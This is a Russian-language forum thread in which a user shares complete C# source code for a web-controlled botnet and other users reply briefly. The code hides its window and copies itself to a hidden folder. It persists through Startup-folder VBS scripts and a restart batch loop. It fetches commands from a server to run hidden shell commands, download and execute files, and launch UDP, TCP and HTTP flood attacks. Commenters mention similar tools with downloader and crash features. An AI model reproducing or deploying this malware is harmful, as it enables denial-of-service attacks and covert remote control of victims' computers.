Загрузка...

Web Ботнет на C#

Тема в разделе C# создана пользователем Dead__Artis 14 окт 2020. (поднята 6 мар 2023) 1282 просмотра

Опрос

псс ребят продолжить ли мне писать софт ?

Другие смогут видеть, как Вы проголосовали.
Голосование закрыто 22 окт 2020.
  1. да

    3
    60%
  2. нет

    2
    40%
  1. Dead__Artis
    Dead__Artis Автор темы 14 окт 2020 921 30 май 2020
    всем привет ребзя я вошел в программирование около года назад
    И я написал свой уже не первый бот нет но первый который работает на ура
    Код совсем не идеален но рабочий
    Псс он палится антивирусом аваст иза импорта dll user32 и kernel32
    в коде есть такой кусок Match regx = Regex.Match(Server, "<h1>(.*)</h1>");
    Это между какими html тегами будет команда
    Program.cs
    Код
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Diagnostics;
    using System.IO;
    using System.Linq;
    using System.Net;
    using System.Runtime.InteropServices;
    using System.Runtime.Remoting.Channels;
    using System.Text;
    using System.Text.RegularExpressions;
    using System.Threading.Tasks;
    using CCX_encdinr_sys;

    namespace CCX_encdinr_sys
    {
    class Program
    {
    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    [STAThread]

    static void Main(string[] args)
    {

    var handle = GetConsoleWindow();
    ShowWindow(handle, 0);
    if (File.Exists(config.path+"\\ss.vbs"))
    {
    System.Threading.Thread.Sleep(5000);
    try
    {
    botweb.update2();
    }
    catch { }
    System.Threading.Thread.Sleep(5000);
    }

    botweb.__init__();
    while (true)
    {

    string[] listcomand = web.GetComands(config.Server).Split(new char[] { config.spliter }, StringSplitOptions.RemoveEmptyEntries);
    try {
    switch (listcomand[1])
    {
    case ("0"):
    try
    {
    System.Threading.Thread.Sleep(Convert.ToInt32(listcomand[0]));
    }
    catch { }
    break;
    case ("fluding-udp"):
    try
    {
    botweb.Fluding.ddosUdp(listcomand[2], Convert.ToInt32(listcomand[3]), Convert.ToInt32(listcomand[4]), Convert.ToInt32(listcomand[5]), Convert.ToInt32(listcomand[6]), listcomand[7]);
    }
    catch { }
    break;
    case ("fluding-tcp"):
    try
    {
    botweb.Fluding.ddosTcp(listcomand[2], Convert.ToInt32(listcomand[3]), Convert.ToInt32(listcomand[4]), Convert.ToInt32(listcomand[5]), Convert.ToInt32(listcomand[6]), listcomand[7]);
    }
    catch { }
    break;
    case ("fluding-http"):
    try
    {
    botweb.Fluding.ddosHttp(listcomand[2], Convert.ToInt32(listcomand[3]), Convert.ToInt32(listcomand[4]), Convert.ToInt32(listcomand[5]), listcomand[6]);
    }
    catch { }
    break;
    case ("fluding-http-Get"):
    try {
    botweb.Fluding.ddosHttpGet(listcomand[2], Convert.ToInt32(listcomand[3]), Convert.ToInt32(listcomand[4]), Convert.ToInt32(listcomand[5])); }
    catch { }

    break;
    case ("cmd"):
    try
    {
    botweb.cmd(listcomand[2]);
    }
    catch { }
    break;
    case ("update"):
    botweb.update(new Uri(listcomand[2]), listcomand[3]);
    System.Threading.Thread.Sleep(20000);
    break;
    case ("dowland"):
    botweb.dowland(new Uri(listcomand[2]), listcomand[3],listcomand[4]);
    break;
    case ("sleep"):

    bool c = true;
    while(c)
    {
    string curT = DateTime.Now.ToShortTimeString();
    string[] curTimeShort = curT.Split(new char[] { ':' }, StringSplitOptions.RemoveEmptyEntries);
    System.Threading.Thread.Sleep(60000);//1 cek 1000 milcek
    if(Convert.ToInt32(curTimeShort[0]) >= Convert.ToInt32(listcomand[2]) && Convert.ToInt32(curTimeShort[1]) >= Convert.ToInt32(listcomand[3]))
    {
    c = false;
    }
    }
    break;

    }
    }
    catch { System.Threading.Thread.Sleep(Convert.ToInt32(listcomand[0])); }
    System.Threading.Thread.Sleep(Convert.ToInt32(listcomand[0]));
    }

    }
    }
    }
    botweb.cs
    псс не судите так строго за код плиз)
    Код
    using System;
    using System.Collections.Generic;
    using System.Diagnostics;
    using System.Dynamic;
    using System.Linq;
    using System.Net;
    using System.Net.Sockets;
    using System.Runtime.Remoting.Channels;
    using System.Text;
    using System.Text.RegularExpressions;
    using System.Threading.Tasks;
    using System.IO;
    using Microsoft.Win32;

    namespace CCX_encdinr_sys
    {
    class web
    {

    public static string GetComands(string url)
    {
    try
    {
    WebClient Web = new WebClient();
    Web.Proxy = null;
    string Server = Web.DownloadString(url);

    Match regx = Regex.Match(Server, "<h1>(.*)</h1>");
    return regx.Groups[1].Value;
    }
    catch { return "0"; }
    }
    }
    class botweb
    {
    public static Random rand = new Random();

    public static bool IsProcessOpen(string name)
    {
    foreach (Process clsProcess in Process.GetProcesses())
    {

    if (clsProcess.ProcessName.Contains(name))
    {
    return true;
    }
    }
    return false;
    }
    public static string cmd(string komand)
    {
    Process l = Process.Start(new ProcessStartInfo
    {
    FileName = "cmd",
    Arguments = "/c " + komand,
    UseShellExecute = false,
    WindowStyle = ProcessWindowStyle.Hidden,
    RedirectStandardOutput = true
    });
    return l.StandardOutput.ReadToEnd();
    }
    public static async void update(Uri link,string file)
    {
    await Task.Run(() =>
    {
    try
    {
    StreamWriter k = new StreamWriter("ss.vbs");
    k.WriteLine("Set WshShell = WScript.CreateObject(\"WScript.Shell\")");
    k.WriteLine("Sleep(1000)");
    k.WriteLine("WshShell.Run \"" + config.path + "\\" + file + "\" & WScript.ScriptFullName,0,true" );
    k.Close();
    WebClient d = new WebClient();
    d.DownloadFile(link, config.path + "\\" + file);
    Process.Start("ss.vbs");
    Process.GetCurrentProcess().Kill();
    }

    catch { }
    });
    }
    public static void dowland(Uri link, string file,string yr) {

    WebClient d = new WebClient();
    d.DownloadFile(link, config.path + "\\" + file);
    if (yr == "y" || yr == "1")
    {
    Process.Start(file);
    }

    }


    public static void update2()
    {

    File.Delete(config.path + "\\sysfng.exe");
    File.Delete(config.path + "\\ss.vbs");
    }
    //C:\Program Files\npf
    public static async void __init__()
    {
    await Task.Run(() => {
    while (true)
    {
    try
    {
    if (!Directory.Exists(config.path))
    Directory.CreateDirectory(config.path);

    if (!File.Exists(config.path + "\\sysfng.exe"))
    File.Copy(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, config.path + "\\sysfng.exe");
    System.IO.File.SetAttributes(config.path + "\\sysfng.exe", System.IO.FileAttributes.Hidden);

    if (!File.Exists(config.path_auto + "\\sysfng_sabProccesSystem.vbs"))
    {
    StreamWriter sab = new StreamWriter(config.path_auto + "\\sysfng_sabProccesSystem.vbs");
    sab.WriteLine("Set WshShell = WScript.CreateObject(\"WScript.Shell\")");
    sab.WriteLine("WshShell.Run \"" + config.path + "\\sysfng.exe " + "\" & WScript.ScriptFullName,0,true");
    sab.WriteLine("WshShell.Run \"" + config.path + "\\sysfng.bat " + "\" & WScript.ScriptFullName,0,true");
    sab.Close();
    }
    if(!File.Exists(config.path + "\\Sys.vbs"))
    {
    StreamWriter sab = new StreamWriter(config.path + "\\Sys.vbs");
    sab.WriteLine("Set WshShell = WScript.CreateObject(\"WScript.Shell\")");
    sab.WriteLine("WshShell.Run \"" + config.path + "\\sysfng.exe" + " \" & WScript.ScriptFullName,0,true");
    sab.Close();
    System.IO.File.SetAttributes(config.path + "\\Sys.vbs", System.IO.FileAttributes.Hidden);
    }
    if (!File.Exists(config.path + "\\sysfng.bat"))
    {
    StreamWriter bat = new StreamWriter(config.path + "\\sysfng.bat");
    bat.WriteLine("echo off");
    bat.WriteLine("chcp 1251");
    bat.WriteLine("set ProcessName=\"sysfng.exe\"");
    bat.WriteLine(":m1");
    bat.WriteLine("Timeout 3");
    bat.WriteLine("cls");
    bat.WriteLine("TaskList /FI \"ImageName EQ %ProcessName% \" | Find /I %ProcessName%>nul||(");
    bat.WriteLine("start \"\" \""+config.path+"\\sysfng.exe"+"\"");
    bat.WriteLine(")");
    bat.WriteLine("goto m1");
    bat.Close();
    System.IO.File.SetAttributes(config.path + "\\sysfng.bat", System.IO.FileAttributes.Hidden);
    }

    }
    catch { }
    System.Threading.Thread.Sleep(1000);
    }

    });
    }

    public class Fluding
    {

    public async static void ddosUdp(string ip, int port, int oborot, int zaderhka, int potok, string text)
    {
    for (int i2 = 0; i2 <= potok; i2++)
    {
    await Task.Run(() =>
    {


    byte[] packetData = System.Text.ASCIIEncoding.ASCII.GetBytes(text);
    IPEndPoint ep = new IPEndPoint(IPAddress.Parse(ip), port);
    Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
    if (text != "random")
    for (int i = 0; i <= oborot; i++)
    {
    System.Threading.Thread.Sleep(zaderhka);
    client.SendTo(packetData, ep);
    GC.Collect();
    }
    else

    for (int i = 0; i <= oborot; i++)
    {
    packetData = System.Text.ASCIIEncoding.ASCII.GetBytes(Convert.ToString(rand.Next(1000000000)));
    System.Threading.Thread.Sleep(zaderhka);
    client.SendTo(packetData, ep);
    GC.Collect();
    }



    });
    }
    }
    public static async void ddosHttp(string link, int oborot, int zaderhka, int potok, string text)
    {
    for (int i2 = 0; i2 <= potok; i2++)
    {
    await Task.Run(() =>
    {

    if (text != "random")
    {
    for (int i = 0; i <= oborot; i++)
    {
    try
    {
    System.Threading.Thread.Sleep(zaderhka);
    HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(link);
    req.BeginGetResponse(new AsyncCallback((IAsyncResult res) => { }), text);

    if (i % 10000 == 0)
    GC.Collect();
    }
    catch { break; }


    }
    }
    else {
    for (int i = 0; i <= oborot; i++)
    {
    try
    {
    System.Threading.Thread.Sleep(zaderhka);
    HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(link);
    req.BeginGetResponse(new AsyncCallback((IAsyncResult res) => { }), rand.Next(1000000000));

    if (i % 10000 == 0)
    GC.Collect();
    }
    catch { break; }


    }
    }
    });
    }
    }
    public static async void ddosHttpGet(string url,int oborot,int zaderska,int potok)
    {
    for (int i1 = 0; i1 <= potok; i1++)
    {
    await Task.Run(() =>
    {
    for (int i = 0; i <= oborot; i++)
    {
    try
    {
    System.Threading.Thread.Sleep(zaderska);
    WebClient Web = new WebClient();
    Web.Proxy = null;
    Web.DownloadString(url);
    }
    catch { }
    }
    });
    }
    }

    public static async void ddosTcp(string ip, int port, int oborot, int zaderhka, int potok, string text)
    {
    IPAddress Host = IPAddress.Parse(ip);
    IPEndPoint Hostep = new IPEndPoint(Host, port);
    for(int i2 = 0; i2 <= potok; i2++)
    {
    await Task.Run(() => {
    if(text != "random")
    for (int i = 0; i <= oborot; i++) {
    System.Threading.Thread.Sleep(zaderhka);
    try
    {
    Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    sock.Connect(Hostep);
    sock.Send(Encoding.UTF8.GetBytes(text));
    sock.Close();
    }
    catch{ }
    }
    else
    for (int i = 0; i <= oborot; i++)
    {
    System.Threading.Thread.Sleep(zaderhka);
    try
    {
    Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    sock.Connect(Hostep);
    sock.Send(Encoding.UTF8.GetBytes(Convert.ToString(rand.Next(1000000000))));
    sock.Close();
    }
    catch { }
    }
    });
    }
    }
    }
    }
    class config
    {
    public static string Server = "Сайт где будет находится index.html ";
    public static char spliter = '*';
    public static string path = @"C:\Users\" + System.Environment.UserName + @"\AppData\Local\npf";
    public static string path_auto = @"C:\Users\" + System.Environment.UserName + @"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup";

    }
    }
     
  2. jgsjagejwgjwf
    а через что он вообще едет, хостинг, файлообменники там
     
  3. LilKrale
    LilKrale 21 апр 2021 генг бэнг 65 11 дек 2020
    Интересно почитать, респект)
     
  4. CoderVir
    вроде норм
     
    1. Dead__Artis Автор темы
      @CoderVir, не хрень я щас новый создал а это было не очень там много ошибок
    2. CoderVir
      Dead__Artis, Интересно. Я подобное делал, только с использованием Telegrambot(в нуглете). По функциям скрин с рабочего, инфа по железу, Downloader, Bsod, крч забил.
    3. Dead__Artis Автор темы
      @CoderVir, хаха знакомо делаешь один проект а потом забиваешь а я щас сделал на TcpClient и там более менее стабильно но если вычислят то жопа
    4. Посмотреть следующие комментарии (4)
Top
Загрузка...